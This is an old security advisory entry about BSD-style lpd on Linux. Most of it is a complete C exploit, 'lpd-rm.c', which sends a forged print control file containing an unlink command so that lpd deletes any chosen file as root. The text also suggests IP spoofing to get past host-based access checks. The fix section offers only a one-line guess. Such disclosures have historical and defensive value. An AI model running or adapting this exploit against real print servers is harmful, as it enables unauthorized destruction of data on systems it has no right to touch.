COMMAND

    lpd

SYSTEMS AFFECTED

    Linux

PROBLEM

    Gus made following exploit which  will remove a file on  system if
    they have BSDish  lpd.  This  one was tested  on Linux. The  basic
    problem  is  that  'lpd'  was  coded  with good *client* behaviour
    expected, and carries  out the control  file commands as  the user
    specified in that control file.  Relying on good client  behaviour
    is (of course) an exremely bad security model.

    Trying to rm a file that does not exist w/ this will cause a  mail
    message   to   be   generated,   log   entries   etc.    You  need
    /etc/hosts.[equiv|lpd] access to the host, or change the  'write's
    to 'printf's and pipe it in to your favorite IP spoofing warez.

    /*
    **  lpd-rm.c  : Remove a file by exploiting the BSD-style 'lpd'
    **              [Tested on Linux only, YMMV] [Release version]
    **  Gus '98
    **
    **  References: RFC-1179
    **  Usage     : "lpd-rm <hostname> <printername> <filename>"
    **  hi-5s to  : The Army of the 12 Monkeys, #phuk regulars,
    **              Gamma and Pr0pane for their help, everyone
    **              involved in making 'strace' :)
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <errno.h>

    /* Control codes for commands.           No spaces unless specified  */
    #define LPD_RECIEVE_JOB '\2'           /* \2 printername <lf> */
    #define CMD_RECIEVE_CONTROL_FILE '\2'  /* \2 size <space> name <lf> */
    #define CMD_RECIEVE_DATA_FILE '\3'     /* \3 size <space> name <lf> */
    #define CMD_CLASSNAME 'C'              /* C classname <lf> */
    #define CMD_HOSTNAME 'H'               /* H hostname <lf> */
    #define CMD_JOBNAME 'J'                /* J jobname <lf> */
    #define CMD_PRINTBANNERPAGE 'L'        /* L username <lf */
    #define CMD_MAIL_WHEN_PRINTED 'M'      /* M username@host <lf> */
    #define CMD_SOURCEFILENAME 'N'         /* N filename <lf> */
    #define CMD_USERNAME 'P'               /* P user-requesting-job <lf> */
    #define CMD_UNLINK 'U'                 /* U filename <lf> */
    #define CMD_PRINTFORMATTEDFILE 'f'     /* f Filename of pre-formatted text */
    #define CMD_PRINTPRFILE 'p'            /* p Filename to proccess thru 'pr' */
 
    void usage(char *);
    int doit(int ,char *,char *, char *);
    int openhost (char *);

    int main (int argc, char *argv[]) {

      int port,sock;
      char *host,*printer,*filename;

      port = 0;
      host = printer = filename = NULL;

      fprintf(stderr,"'lpd-rm.c' - Gus'98\n");
      if (argc < 4) usage(argv[0]);

      if (getuid() != 0) {
        fprintf(stderr,"Doh! You need to be root.\n");
        exit(-1);
      }

      host = argv[1];
      printer = argv[2];
      filename = argv[3];
      if ((sock = openhost(host)) > 0) {
        exit(doit(sock,printer,host,filename));
      } else {
        exit(sock);
      }
    }


    int openhost (char *host) {

      int sock;
      struct hostent *he;
      struct sockaddr_in sa;
      int localport;
      char respbuf[255];

      he=gethostbyname(host);
      if(he==NULL) {
        fprintf(stderr,"Bad hostname");
        return (-1);
      }

      /*
      ** According to the RFC, the source port must be in the range
      ** of 721-731 inclusive.
      */
      srand(getpid());
      localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0));


      sock=socket(AF_INET,SOCK_STREAM,0);

      sa.sin_addr.s_addr=INADDR_ANY;
      sa.sin_family=AF_INET;
      sa.sin_port=htons(localport);

      bind(sock,(struct sockaddr *)&sa,sizeof(sa));
      sa.sin_port=htons(515);

      memcpy(&sa.sin_addr,he->h_addr,he->h_length);
      if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) {
        perror("Can't connect");
        return (-1);
      } else {
        fcntl(sock,F_SETFL,O_NONBLOCK);
      }
      printf("%d : Connected...\n",localport);
      read(sock,respbuf,255);
      fprintf(stderr,": %s\n",respbuf);  /* show 'not allowed to print'
                                            message, if it comes back */
      return(sock);
    }

    int doit(int sock,char *printer,char *host, char *filename) {

      char hello[255];
      char sendbuf[1024];
      char respbuf[255];

      printf("Removing file %s on %s using %s as printer\n",filename,host,printer);

      /* Hello Mr LPD. Can I print to <printer> please ? */
      sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer);
      if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2))) {
        perror("1 write");
      }


      /* Why yes young man, what would you like me to do ? */
      read(sock,respbuf,255);
      /* fprintf(stderr,": %s\n",respbuf); */


      /* Would you be so kind as to carry out the commands in this file
       * as superuser without giving up any priviledges please ?
       */
      sprintf(sendbuf,"%c%s\n%croot\n%cmyjob\n%c%s\n%croot\n%ccfA12\n%c%s\n%c%s",
              CMD_HOSTNAME,host,
              CMD_USERNAME,
              CMD_JOBNAME,
              CMD_CLASSNAME,
              host,
              CMD_PRINTBANNERPAGE,
              CMD_PRINTPRFILE,
              CMD_UNLINK,
              filename,
              CMD_SOURCEFILENAME,
              filename);

      /* But of course young feller me lad! Security is for girls! */
      sprintf(hello,"%c%d cfA12\n",
              CMD_RECIEVE_CONTROL_FILE,
              strlen(sendbuf));
      if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write");
      if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1)) {
        perror("3 write");
      }
      sleep(3);
      shutdown(sock,2);
      return (0);
    }

    void usage (char *name) {
      fprintf(stderr,"\tUsage: %s host printer filename\n",name);
      exit(1);
    }

SOLUTION

    Newer versions got it right?